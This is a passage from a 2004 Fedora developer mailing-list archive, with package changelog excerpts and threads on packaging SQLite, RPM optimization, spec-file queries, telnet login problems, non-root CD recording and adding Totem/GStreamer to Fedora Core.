2004 Tom Lane 7.4.5-2 - Update to PyGreSQL 3.5. * Tue Aug 24 2004 Tom Lane 7.4.5-1 - Update to PostgreSQL 7.4.5. - Update JDBC jars to driver build 215. - Add Obsoletes: entries for rh-postgresql packages, per bug 129278. ppp-2.4.2-6.2 ------------- * Tue Oct 05 2004 David Woodhouse 2.4.2-6.2 - Link pppoatm plugin against libresolv. - Revert to linux-atm headers without the workaround for #127098 rhgb-0.13.5-2 ------------- * Tue Oct 05 2004 Elliot Lee 0.13.5-2 - rhgb-0.13.5-firstboot patch - don't do a timeout while we're running firstboot - Use _smp_mflags macro rhythmbox-0.8.8-1 ----------------- * Tue Oct 05 2004 Colin Walters - 0.8.8-1 - New upstream version - Remove librb-nautilus-context-menu.so, killed upstream rp-pppoe-3.5-18 --------------- * Wed Oct 06 2004 Than Ngo 3.5-18 - fix adsl connect for using MTU/MRU rpmdb-fedora-2.92-0.20041006 ---------------------------- selinux-policy-strict-1.17.27-1 ------------------------------- * Tue Oct 05 2004 Dan Walsh 1.17.27-1 - Update from NSA * Mon Oct 04 2004 Dan Walsh 1.17.26-3 - Fix inetd_child stuff. selinux-policy-targeted-1.17.27-1 --------------------------------- * Tue Oct 05 2004 Dan Walsh 1.17.27-1 - Update from NSA system-config-network-1.3.21-1 ------------------------------ * Tue Oct 05 2004 Harald Hoyer - 1.3.21 - fixed /etc/hosts handling - handle .ko module names in updateFromKudzu system-config-samba-1.2.18-1 ---------------------------- * Tue Oct 05 2004 Nils Philippsen - 1.2.18-1 - use gtk.main() and gtk.main_quit() if available to avoid DeprecationWarnings (#134367) tftp-0.39-1 ----------- * Mon Sep 13 2004 Elliot Lee 0.39-1 - Update to new version makes tftp work, says upstream. - Remove malta patch xinitrc-4.0.10-1 ---------------- * Tue Oct 05 2004 Mike A. Harris 4.0.10-1 - Fix unterminated if block in the Xclients script, which was introduced in xinitrc-4.0.6-1 (#134673) * Tue Oct 05 2004 Mike A. Harris 4.0.9-1 - Removed config flag from xinitrc script, as people should use xinitrc.d instead. - Added xinitrc-common script to file list as it was missing in 4.0.8-1 * Tue Oct 05 2004 Mike A. Harris 4.0.8-1 - Factored out common code from Xsession and xinitrc into 'xinitrc-common' to avoid code duplication and bug fix synchronization issues (#133485) - Changed default xsetroot background colour to "#222e45" (#134417) From rdieter at math.unl.edu Wed Oct 6 12:35:02 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 06 Oct 2004 07:35:02 -0500 Subject: sqlite? In-Reply-To: <1097065809.1615.6.camel@localhost> References: <4163E1F5.4010806@math.unl.edu> <1097065809.1615.6.camel@localhost> Message-ID: <4163E676.30702@math.unl.edu> Andr? Kelpe wrote: > Am Mi, den 06.10.2004 schrieb Rex Dieter um 14:15: > [sqlite] >>-> Fedora Extras > Why that? Because that's how Fedora Core/Extras generally works. Put new items into Extras, and if it's succesfully deployed and popular there, it'll be a good candidate for Core inclusion. -- Rex From alan at redhat.com Wed Oct 6 12:35:55 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 6 Oct 2004 08:35:55 -0400 Subject: sqlite? In-Reply-To: References: Message-ID: <20041006123555.GA13830@devserv.devel.redhat.com> On Wed, Oct 06, 2004 at 07:58:28AM -0400, Neal D. Becker wrote: > Hardly might seem that we need yet another database, but it looks like > sqlite is rapidly becoming very popular. Being 'lite', it really serves a > different need than others. I think it would be a good addition to fedora. Possibly, but it probably fits in with PHP5 and thus FC4 or later. FC3 is approaching test3 which makes changing/adding packages a bit tricky. Losing them if we run out of disk space might occur I guess From stuart at terminus.co.uk Wed Oct 6 13:19:45 2004 From: stuart at terminus.co.uk (Stuart Children) Date: Wed, 06 Oct 2004 14:19:45 +0100 Subject: sqlite? In-Reply-To: <4163E1F5.4010806@math.unl.edu> References: <4163E1F5.4010806@math.unl.edu> Message-ID: <4163F0F1.5080900@terminus.co.uk> Rex Dieter wrote: > Neal D. Becker wrote: > >> Hardly might seem that we need yet another database, but it looks like >> sqlite is rapidly becoming very popular. Being 'lite', it really >> serves a >> different need than others. I think it would be a good addition to >> fedora. Agreed. Having finally had a chance to use it on a project, it is definitely quite useful (though I have a couple of small gripes). > -> Fedora Extras I'm willing to package if you like. I'm [finally] going to have some more free time from next week so I can start work on it then. Cheers -- Stuart From adrian at lisas.de Wed Oct 6 13:23:58 2004 From: adrian at lisas.de (Adrian Reber) Date: Wed, 6 Oct 2004 15:23:58 +0200 Subject: sqlite? In-Reply-To: <4163F0F1.5080900@terminus.co.uk> References: <4163E1F5.4010806@math.unl.edu> <4163F0F1.5080900@terminus.co.uk> Message-ID: <20041006132358.GA2774@lisas.de> On Wed, Oct 06, 2004 at 02:19:45PM +0100, Stuart Children wrote: > >-> Fedora Extras > > I'm willing to package if you like. I'm [finally] going to have some > more free time from next week so I can start work on it then. It already there: https://bugzilla.fedora.us/show_bug.cgi?id=1766 Adrian From fedora at wir-sind-cool.org Wed Oct 6 13:34:07 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 6 Oct 2004 15:34:07 +0200 Subject: sqlite? In-Reply-To: <20041006132358.GA2774@lisas.de> References: <4163E1F5.4010806@math.unl.edu> <4163F0F1.5080900@terminus.co.uk> <20041006132358.GA2774@lisas.de> Message-ID: <20041006153407.157c1f5e.fedora@wir-sind-cool.org> On Wed, 6 Oct 2004 15:23:58 +0200, Adrian Reber wrote: > On Wed, Oct 06, 2004 at 02:19:45PM +0100, Stuart Children wrote: > > >-> Fedora Extras > > > > I'm willing to package if you like. I'm [finally] going to have some > > more free time from next week so I can start work on it then. > > It already there: https://bugzilla.fedora.us/show_bug.cgi?id=1766 It's been in fedora.us "stable" since 2003-07-01. Above ticket is just an update request which Nils could do without QA according to http://www.fedora.us/wiki/PUBLISHCriteria A package request for python-sqlite is here: https://bugzilla.fedora.us/show_bug.cgi?id=2000 There's no SQLite 3 request, though. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 1.67 1.18 1.08 From pbruna at linuxcenterla.com Wed Oct 6 14:06:33 2004 From: pbruna at linuxcenterla.com (Patricio Bruna) Date: Wed, 06 Oct 2004 10:06:33 -0400 Subject: Optimized RPMS In-Reply-To: <41637B99.3050805@redhat.com> References: <1097036387.3287.1.camel@pbruna> <41637B99.3050805@redhat.com> Message-ID: <1097071593.24863.0.camel@pbruna> El mar, 05-10-2004 a las 18:59 -1000, Warren Togami escribi?: > Patricio Bruna wrote: > > Im thinking in rebuild my owns RPM optmized for P4, fedora core really > > goes slow. are any predefined step, some automatic tool for do this? > > > > thx > > Don't bother. You will have almost zero benefit do to today's greatly > improved compilers and -mtune=pentium4 default on all FC3 packages. You > will waste far more timing in rebuilding packages than you would > possibly gain. > > http://www.funroll-loops.org/ > Refer to this site for similar sentiments. > > Warren Togami > wtogami at redhat.com very interesting, what its that -mtune=pentium4? where i can read about it? From fedora-devel at camperquake.de Wed Oct 6 14:15:10 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Wed, 6 Oct 2004 16:15:10 +0200 Subject: Optimized RPMS References: <1097036387.3287.1.camel@pbruna> <41637B99.3050805@redhat.com> <1097071593.24863.0.camel@pbruna> Message-ID: <20041006161510.B13483@ryoko.camperquake.de> On Wed, Oct 06, 2004 at 10:06:33AM -0400, Patricio Bruna wrote: > very interesting, what its that -mtune=pentium4? where i can read about > it? It schedules instructions in a way that favours the P4 architecture, but does not use instructions specific to that chip. So the binaries will run on everything >=i386 (at least in theory, I think nobody actually tested FC on a 386 :), but will run even better on P4s. From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Wed Oct 6 15:27:29 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Wed, 6 Oct 2004 17:27:29 +0200 Subject: sqlite? In-Reply-To: <20041006123555.GA13830@devserv.devel.redhat.com> References: <20041006123555.GA13830@devserv.devel.redhat.com> Message-ID: <20041006172729.3f74adae@localhost> Alan Cox wrote : > On Wed, Oct 06, 2004 at 07:58:28AM -0400, Neal D. Becker wrote: > > Hardly might seem that we need yet another database, but it looks like > > sqlite is rapidly becoming very popular. Being 'lite', it really > > serves a different need than others. I think it would be a good > > addition to fedora. > > Possibly, but it probably fits in with PHP5 and thus FC4 or later. FC3 is > approaching test3 which makes changing/adding packages a bit tricky. > Losing them if we run out of disk space might occur I guess Last I checked the sqlite PHP module, the source actually contained its own snapshot of sqlite, thus didn't require any external library, so including or not sqlite is a non issue wrt PHP, except maybe to have external tools to manipulate the sqlite files. This may have changed, though, I think it's been a while ;-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 1.01 0.53 0.47 From jorton at redhat.com Wed Oct 6 15:44:56 2004 From: jorton at redhat.com (Joe Orton) Date: Wed, 6 Oct 2004 16:44:56 +0100 Subject: sqlite? In-Reply-To: References: Message-ID: <20041006154456.GA7767@redhat.com> On Wed, Oct 06, 2004 at 07:58:28AM -0400, Neal D. Becker wrote: > Hardly might seem that we need yet another database, but it looks like > sqlite is rapidly becoming very popular. Being 'lite', it really serves a > different need than others. I think it would be a good addition to fedora. I saw it contributed a good screenful of GCC warnings to the PHP5 build too, which was nice... joe From rc040203 at freenet.de Wed Oct 6 17:14:54 2004 From: rc040203 at freenet.de (Ralf Corsepius) Date: Wed, 06 Oct 2004 19:14:54 +0200 Subject: sqlite? In-Reply-To: <20041006153407.157c1f5e.fedora@wir-sind-cool.org> References: <4163E1F5.4010806@math.unl.edu> <4163F0F1.5080900@terminus.co.uk> <20041006132358.GA2774@lisas.de> <20041006153407.157c1f5e.fedora@wir-sind-cool.org> Message-ID: <1097082894.17006.2709.camel@mccallum.corsepiu.local> On Wed, 2004-10-06 at 15:34, Michael Schwendt wrote: > On Wed, 6 Oct 2004 15:23:58 +0200, Adrian Reber wrote: > > > On Wed, Oct 06, 2004 at 02:19:45PM +0100, Stuart Children wrote: > > > >-> Fedora Extras > > > > > > I'm willing to package if you like. I'm [finally] going to have some > > > more free time from next week so I can start work on it then. > > > > It already there: https://bugzilla.fedora.us/show_bug.cgi?id=1766 > There's no SQLite 3 request, though. FWIW: Last weekend I tried to build SQLite3 on FC2. It fails its own testsuite (make test), which caused me not to submit it to FE. Ralf From rdieter at math.unl.edu Wed Oct 6 17:19:17 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 06 Oct 2004 12:19:17 -0500 Subject: sqlite? In-Reply-To: <1097082894.17006.2709.camel@mccallum.corsepiu.local> References: <4163E1F5.4010806@math.unl.edu> <4163F0F1.5080900@terminus.co.uk> <20041006132358.GA2774@lisas.de> <20041006153407.157c1f5e.fedora@wir-sind-cool.org> <1097082894.17006.2709.camel@mccallum.corsepiu.local> Message-ID: <41642915.9040506@math.unl.edu> Ralf Corsepius wrote: > On Wed, 2004-10-06 at 15:34, Michael Schwendt wrote: > >>On Wed, 6 Oct 2004 15:23:58 +0200, Adrian Reber wrote: >> >> >>>On Wed, Oct 06, 2004 at 02:19:45PM +0100, Stuart Children wrote: >>> >>>>>-> Fedora Extras >>>> >>>>I'm willing to package if you like. I'm [finally] going to have some >>>>more free time from next week so I can start work on it then. >>> >>>It already there: https://bugzilla.fedora.us/show_bug.cgi?id=1766 > > >>There's no SQLite 3 request, though. > > > FWIW: Last weekend I tried to build SQLite3 on FC2. It fails its own > testsuite (make test), which caused me not to submit it to FE. IMO, Submit it anyway... so more folks/eyes can look at it. Feel free to mark it as NEEDSWORK (instead of QA). -- Rex From smooge at gmail.com Wed Oct 6 17:34:20 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Wed, 6 Oct 2004 11:34:20 -0600 Subject: Optimized RPMS In-Reply-To: <1097036387.3287.1.camel@pbruna> References: <1097036387.3287.1.camel@pbruna> Message-ID: <80d7e409041006103418b0a27c@mail.gmail.com> On Wed, 06 Oct 2004 00:19:47 -0400, Patricio Bruna wrote: > Im thinking in rebuild my owns RPM optmized for P4, fedora core really > goes slow. are any predefined step, some automatic tool for do this? > > thx I wont say dont bother, but you really need to make sure you post any improvements can be seen. There is a lot of talk on both sides.. but very few numbers. -- Stephen J Smoogen. Professional System Administrator From mattdm at mattdm.org Wed Oct 6 18:10:30 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 6 Oct 2004 14:10:30 -0400 Subject: SRPM's and determining spec file In-Reply-To: <20041005224854.670c5f22.fedora@wir-sind-cool.org> References: <4162FE43.6010403@balclutha.org> <20041005224854.670c5f22.fedora@wir-sind-cool.org> Message-ID: <20041006181030.GA22465@jadzia.bu.edu> On Tue, Oct 05, 2004 at 10:48:54PM +0200, Michael Schwendt wrote: > rpm -qpl package.src.rpm | grep \.spec What do you do if there's more than one spec file? -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From jos at xos.nl Wed Oct 6 18:19:22 2004 From: jos at xos.nl (Jos Vos) Date: Wed, 6 Oct 2004 20:19:22 +0200 Subject: SRPM's and determining spec file In-Reply-To: <20041006181030.GA22465@jadzia.bu.edu>; from mattdm@mattdm.org on Wed, Oct 06, 2004 at 02:10:30PM -0400 References: <4162FE43.6010403@balclutha.org> <20041005224854.670c5f22.fedora@wir-sind-cool.org> <20041006181030.GA22465@jadzia.bu.edu> Message-ID: <20041006201922.A22143@xos037.xos.nl> On Wed, Oct 06, 2004 at 02:10:30PM -0400, Matthew Miller wrote: > On Tue, Oct 05, 2004 at 10:48:54PM +0200, Michael Schwendt wrote: > > rpm -qpl package.src.rpm | grep \.spec > > What do you do if there's more than one spec file? What does rpm do when it encounters more than one .spec file in a src.rpm when doing a "rpm --rebuild"? -- -- Jos Vos -- X/OS Experts in Open Systems BV | Phone: +31 20 6938364 -- Amsterdam, The Netherlands | Fax: +31 20 6948204 From kyrre at solution-forge.net Wed Oct 6 18:29:09 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 06 Oct 2004 20:29:09 +0200 Subject: Anaconda RFE: add a question to ask for "fedora extras", and if approperiate, livna Message-ID: <1097087343.4111.13.camel@kyrre> Hello As there has been really huge amounts of talk on this list the last few days about fedora extras - i was wondering about something. Could it be possible to ask somewhere in anaconda or firstboot, if you want the extras repository pre-configured (maybe with a label stating "UNSUPPORTED")? And maybe also if you are in some part of the world (which you told the installer earlier) where livna is legal (such as norway, asia etc.), then also ask the same about livna? Just a question, thrown in for debate or burning. I know this has been discussed before (with no real outcome), and i know that fc3t3 is comming close. But it would really help the usability of fedora. The question (at least if case is "only extras") could be asked as a "package" under package selection. But then what to do about "personal desktop" and "workstation" installs? From rat at mujmail.cz Wed Oct 6 18:43:10 2004 From: rat at mujmail.cz (RAT) Date: Wed, 06 Oct 2004 20:43:10 +0200 Subject: Telnet doesn't work in FC3test2 Message-ID: <1097088190.3227.26.camel@localhost.localdomain> Does anyone experienced the same problem as I did. I was using telnet for connecting to some machine but now in FC3t2 I always get this telnet kosh Trying 130.#.#.#... telnet: connect to address 130.#.#.#: Connection timed out telnet: Unable to connect to remote host: Connection timed out Where's the problem? Is it somehow related to SELinux? (ssh to another machime still works) RAT From fedora at wir-sind-cool.org Wed Oct 6 18:47:02 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 6 Oct 2004 20:47:02 +0200 Subject: SRPM's and determining spec file In-Reply-To: <20041006181030.GA22465@jadzia.bu.edu> References: <4162FE43.6010403@balclutha.org> <20041005224854.670c5f22.fedora@wir-sind-cool.org> <20041006181030.GA22465@jadzia.bu.edu> Message-ID: <20041006204702.69a06f4d.fedora@wir-sind-cool.org> On Wed, 6 Oct 2004 14:10:30 -0400, Matthew Miller wrote: > > rpm -qpl package.src.rpm | grep \.spec > > What do you do if there's more than one spec file? Okay, okay. So, multiple additional spec files as %{SOURCEX} values? Then I would use something like this $ rpm -qp package.src.rpm --qf '[%{basenames}\n]' \ grep -v "$(rpm -qp package.src.rpm --qf '[%{source}\n]')" or process the output with some scripting language (if need be). -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 1.69 1.20 1.08 From fedora at wir-sind-cool.org Wed Oct 6 18:54:28 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Wed, 6 Oct 2004 20:54:28 +0200 Subject: SRPM's and determining spec file In-Reply-To: <20041006204702.69a06f4d.fedora@wir-sind-cool.org> References: <4162FE43.6010403@balclutha.org> <20041005224854.670c5f22.fedora@wir-sind-cool.org> <20041006181030.GA22465@jadzia.bu.edu> <20041006204702.69a06f4d.fedora@wir-sind-cool.org> Message-ID: <20041006205428.7d25c78b.fedora@wir-sind-cool.org> On Wed, 6 Oct 2004 20:47:02 +0200, Michael Schwendt wrote: > On Wed, 6 Oct 2004 14:10:30 -0400, Matthew Miller wrote: > > > > rpm -qpl package.src.rpm | grep \.spec > > > > What do you do if there's more than one spec file? > > Okay, okay. So, multiple additional spec files as %{SOURCEX} values? > Then I would use something like this > > $ rpm -qp package.src.rpm --qf '[%{basenames}\n]' \ > grep -v "$(rpm -qp package.src.rpm --qf '[%{source}\n]')" > > or process the output with some scripting language (if need be). | pipe missing in front of grep, although it will fail with larger src.rpms. But apparently, original poster just was searching for the [%{array}] notation of RPM query flags. So, comparing '[%{basenames} ]' and '[%{source} ]' arrays would reveal the spec file name. In case an included patch is called foo.spec, you would need to search through '[%{patch} ]', too. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 1.25 1.17 1.11 From katzj at redhat.com Wed Oct 6 19:03:14 2004 From: katzj at redhat.com (Jeremy Katz) Date: Wed, 06 Oct 2004 15:03:14 -0400 Subject: Anaconda RFE: add a question to ask for "fedora extras", and if approperiate, livna In-Reply-To: <1097087343.4111.13.camel@kyrre> References: <1097087343.4111.13.camel@kyrre> Message-ID: <1097089394.15161.13.camel@bree.local.net> On Wed, 2004-10-06 at 20:29 +0200, Kyrre Ness Sjobak wrote: > As there has been really huge amounts of talk on this list the last few > days about fedora extras - i was wondering about something. Could it be > possible to ask somewhere in anaconda or firstboot, if you want the > extras repository pre-configured (maybe with a label stating > "UNSUPPORTED")? It's a bit too late to do for anaconda at this point. Plus, not sure where it would (ui-wise) make sense to be. Perhaps on the firstboot extra CDs screen, but that's still difficult due to the fact that the interaction is less than idea. Eventually, system-config-packages should really know about them and be able to display things (that's always been the plan, just lack of 'round 'tuits) > And maybe also if you are in some part of the world > (which you told the installer earlier) where livna is legal (such as > norway, asia etc.), then also ask the same about livna? Can't do this. > Just a question, thrown in for debate or burning. I know this has been > discussed before (with no real outcome), and i know that fc3t3 is > comming close. But it would really help the usability of fedora. The other thing is that the official Extras as such doesn't completely exist yet. Yes, fedora.us is what it will be, but I at least would rather wait until we have it all in the same server structure before we do much along these lines. Jeremy From alexander.dalloz at uni-bielefeld.de Wed Oct 6 19:27:29 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Wed, 06 Oct 2004 21:27:29 +0200 Subject: Telnet doesn't work in FC3test2 In-Reply-To: <1097088190.3227.26.camel@localhost.localdomain> References: <1097088190.3227.26.camel@localhost.localdomain> Message-ID: <1097090849.9063.597.camel@serendipity.dogma.lan> Am Mi, den 06.10.2004 schrieb RAT um 20:43: http://fedora.linux.duke.edu/wiki/PostIsOffTopic > Does anyone experienced the same problem as I did. I was using telnet > for connecting to some machine but now in FC3t2 I always get this > > telnet kosh > Trying 130.#.#.#... > telnet: connect to address 130.#.#.#: Connection timed out > telnet: Unable to connect to remote host: Connection timed out > > Where's the problem? Is it somehow related to SELinux? No telnet daemon running? > (ssh to another machime still works) Use SSH and avoid the telnet daemon under any circumstance. > RAT Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 21:26:12 up 6 days, 23:52, load average: 1.49, 1.51, 1.42 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From carlos.efr at mail.telepac.pt Wed Oct 6 19:59:50 2004 From: carlos.efr at mail.telepac.pt (Carlos Rodrigues) Date: Wed, 06 Oct 2004 20:59:50 +0100 Subject: I would rather have an update for FC2 [was: Re: Will FC3 wait for 2.6.9 ?] In-Reply-To: <9f50a7a004100419371d5ed822@mail.gmail.com> References: <9f50a7a004100419371d5ed822@mail.gmail.com> Message-ID: <41644EB6.5050109@mail.telepac.pt> Jerone Young wrote: > The reason I ask is because I have a major bug (well major for me and > any other person with a via-velocity card) that will be fixed in 2.6.9 > release. > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133168 > Well, I hope FC3 comes out with 2.6.9, but I rather have an updated kernel for Fedora 2 to be able to finally record CDs withut being root. This is in serious need of fixing, I imagine that "sorry, you can only record CDs if you're root, and I'm not going to give you the root password" does not go well with users. From denisleroy at yahoo.com Wed Oct 6 20:08:19 2004 From: denisleroy at yahoo.com (Denis Leroy) Date: Wed, 6 Oct 2004 13:08:19 -0700 (PDT) Subject: I would rather have an update for FC2 [was: Re: Will FC3 wait for 2.6.9 ?] In-Reply-To: <41644EB6.5050109@mail.telepac.pt> Message-ID: <20041006200819.49011.qmail@web60706.mail.yahoo.com> Worse, the current kernel-2.6.8-1.521 has the aweful DMA bug that makes it impossible to record audio CDs. -denis cdrdao project http://cdrdao.sf.net/ --- Carlos Rodrigues wrote: > Jerone Young wrote: > > The reason I ask is because I have a major bug (well major for me > and > > any other person with a via-velocity card) that will be fixed in > 2.6.9 > > release. > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133168 > > > > Well, I hope FC3 comes out with 2.6.9, but I rather have an updated > kernel for Fedora 2 to be able to finally record CDs withut being > root. > This is in serious need of fixing, I imagine that "sorry, you can > only > record CDs if you're root, and I'm not going to give you the root > password" does not go well with users. > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From alan at redhat.com Wed Oct 6 20:12:09 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 6 Oct 2004 16:12:09 -0400 Subject: I would rather have an update for FC2 [was: Re: Will FC3 wait for 2.6.9 ?] In-Reply-To: <41644EB6.5050109@mail.telepac.pt> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <41644EB6.5050109@mail.telepac.pt> Message-ID: <20041006201209.GD27066@devserv.devel.redhat.com> On Wed, Oct 06, 2004 at 08:59:50PM +0100, Carlos Rodrigues wrote: > Well, I hope FC3 comes out with 2.6.9, but I rather have an updated > kernel for Fedora 2 to be able to finally record CDs withut being root. > This is in serious need of fixing, I imagine that "sorry, you can only > record CDs if you're root, and I'm not going to give you the root > password" does not go well with users. Or you make cdrecord setuid. "You must be root" is infintely preferable to "any user can erase your drive firmware". Linus appears to be doing 2.6.9rc4, and thats likely to be 2.6.9 final From cmadams at hiwaay.net Wed Oct 6 20:35:22 2004 From: cmadams at hiwaay.net (Chris Adams) Date: Wed, 6 Oct 2004 15:35:22 -0500 Subject: I would rather have an update for FC2 [was: Re: Will FC3 wait for 2.6.9 ?] In-Reply-To: <20041006201209.GD27066@devserv.devel.redhat.com> References: <9f50a7a004100419371d5ed822@mail.gmail.com> <41644EB6.5050109@mail.telepac.pt> <20041006201209.GD27066@devserv.devel.redhat.com> Message-ID: <20041006203522.GB1520790@hiwaay.net> Once upon a time, Alan Cox said: > Or you make cdrecord setuid. IIRC there was a recent BUGTRAQ notice that there were security holes found in cdrecord when it was setuid root. Have these been fixed in the Fedora version? -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From nhorman at redhat.com Wed Oct 6 20:43:55 2004 From: nhorman at redhat.com (Neil Horman) Date: Wed, 06 Oct 2004 16:43:55 -0400 Subject: Telnet doesn't work in FC3test2 In-Reply-To: <1097088190.3227.26.camel@localhost.localdomain> References: <1097088190.3227.26.camel@localhost.localdomain> Message-ID: <4164590B.9030708@redhat.com> RAT wrote: > Does anyone experienced the same problem as I did. I was using telnet > for connecting to some machine but now in FC3t2 I always get this > > telnet kosh > Trying 130.#.#.#... > telnet: connect to address 130.#.#.#: Connection timed out > telnet: Unable to connect to remote host: Connection timed out > > Where's the problem? Is it somehow related to SELinux? > > (ssh to another machime still works) > > RAT > Does the default firewall setup block port 23 (or whatever the default telnet port is)? Neil -- /*************************************************** *Neil Horman *Software Engineer *Red Hat, Inc. *nhorman at redhat.com *gpg keyid: 1024D / 0x92A74FA1 *http://pgp.mit.edu ***************************************************/ From bos at serpentine.com Wed Oct 6 20:50:51 2004 From: bos at serpentine.com (Bryan O'Sullivan) Date: Wed, 06 Oct 2004 13:50:51 -0700 Subject: sqlite? In-Reply-To: References: Message-ID: <1097095851.14591.14.camel@serpentine.internal.keyresearch.com> On Wed, 2004-10-06 at 07:58 -0400, Neal D. Becker wrote: > I think it would be a good addition to fedora. A big problem with it is that it is thoroughly and utterly 32-bit only. I looked into porting it to non-x86 and non-32bit systems, and it would be a whole lot of work. Message-ID: <20041006200040.12646.qmail@web50604.mail.yahoo.com> >What do you do if there's more than one spec file? What srpm has more than one? I've never seen one that has more than 1 spec file until the source tarball is opened. Sometimes there's more there for various distro's. But I've never seen one that has more than one spec file after only doing the rpm -i. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From jerone at gmail.com Wed Oct 6 21:01:04 2004 From: jerone at gmail.com (Jerone Young) Date: Wed, 6 Oct 2004 16:01:04 -0500 Subject: Telnet doesn't work in FC3test2 In-Reply-To: <4164590B.9030708@redhat.com> References: <1097088190.3227.26.camel@localhost.localdomain> <4164590B.9030708@redhat.com> Message-ID: <9f50a7a0041006140137a947b7@mail.gmail.com> There is something wrong with the telnet server. When you try to use it does not prompt you for a username & password you get this: [root at sendfinder vmwareboy]# telnet 192.168.1.10 Trying 192.168.1.10... Connected to 192.168.1.10. Escape character is '^]'. Fedora Core release Rawhide (Rawhide) Kernel 2.6.9 on an x86_64 Login incorrect Login incorrect Login incorrect Login incorrect and your stuck...we have a bug!! Though I do not advocate the use of telnet, but there are a few cases....and I mean few...that people do have to use it. But if you are using it you need to find a way to get away from it! On Wed, 06 Oct 2004 16:43:55 -0400, Neil Horman wrote: > RAT wrote: > > Does anyone experienced the same problem as I did. I was using telnet > > for connecting to some machine but now in FC3t2 I always get this > > > > telnet kosh > > Trying 130.#.#.#... > > telnet: connect to address 130.#.#.#: Connection timed out > > telnet: Unable to connect to remote host: Connection timed out > > > > Where's the problem? Is it somehow related to SELinux? > > > > (ssh to another machime still works) > > > > RAT > > > Does the default firewall setup block port 23 (or whatever the default > telnet port is)? > > Neil > > -- > /*************************************************** > *Neil Horman > *Software Engineer > *Red Hat, Inc. > *nhorman at redhat.com > *gpg keyid: 1024D / 0x92A74FA1 > *http://pgp.mit.edu > ***************************************************/ > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From rbultje at ronald.bitfreak.net Wed Oct 6 21:10:07 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Wed, 06 Oct 2004 23:10:07 +0200 Subject: Totem/GStreamer and Fedora Message-ID: <1097097007.2721.33.camel@tux.lan> Hi, Today, the GStreamer team has released new versions of their GStreamer core and plugins. Also, Bastien Nocera has released a new version of Totem, which features a largely rewritten GStreamer backend, amongst others. There has been a news posting about this on gnomedesktop.org. We're convinced that the current combination of these is the best legally shippable playback application that has been created so far. It might not match mplayer yet, but it's pretty, stable, extensible [1], fits well with the rest of the GNOME desktop and, not unimportant, it will playback quite a few movies and webstreams by default already (Ogg/Theora, in particular). Also, it's actively developed and maintained by a large amount of developers (look at the GStreamer plugins contributor list, for example). How would you guys feel about including this in Fedora Core? It would add a missing piece to the desktop. We're also considering to propose Totem for inclusion in GNOME 2.10. Ronald [1] for some formats (e.g. divx, xvid and so on), you'll also want to install gst-ffmpeg. Latest pre-releases are available from http://gstreamer.freedesktop.org/src/gst-ffmpeg/pre/. -- Ronald S. Bultje From mike at flyn.org Wed Oct 6 21:11:32 2004 From: mike at flyn.org (W. Michael Petullo) Date: Wed, 6 Oct 2004 16:11:32 -0500 (CDT) Subject: Totem/GStreamer and Fedora In-Reply-To: <1097097007.2721.33.camel@tux.lan> References: <1097097007.2721.33.camel@tux.lan> Message-ID: <7250.66.151.13.191.1097097092.squirrel@66.151.13.191> > How would you guys feel about including this in Fedora Core? It would > add a missing piece to the desktop. We're also considering to propose > Totem for inclusion in GNOME 2.10. I've been waiting to hear this. Totem/GStreamer has the potential to provide a superior platform to those who hope to build an 100% free video player. It also makes adding non-free or IP encumbered modules very simple. I submitted totem/GStreamer to fedora.us in August: http://bugzilla.fedora.us/show_bug.cgi?id=1995 So perhaps that package can provide a start. -- Mike From jerone at gmail.com Wed Oct 6 21:23:33 2004 From: jerone at gmail.com (Jerone Young) Date: Wed, 6 Oct 2004 16:23:33 -0500 Subject: Totem/GStreamer and Fedora In-Reply-To: <7250.66.151.13.191.1097097092.squirrel@66.151.13.191> References: <1097097007.2721.33.camel@tux.lan> <7250.66.151.13.191.1097097092.squirrel@66.151.13.191> Message-ID: <9f50a7a0041006142371efcb2c@mail.gmail.com> I've been waiting since Redhat 6.0 for something like this to finally be included in the distro. This is much better than the Helix player, becuase I can plugin in codecs post out of the box...as opposed to the Helix player included now. I've been compiling everything, but I really would like that perfect out of the box mulitmedia linux experience, and using totem is a good step in the right direction. On Wed, 6 Oct 2004 16:11:32 -0500 (CDT), W. Michael Petullo wrote: > > How would you guys feel about including this in Fedora Core? It would > > add a missing piece to the desktop. We're also considering to propose > > Totem for inclusion in GNOME 2.10. > > I've 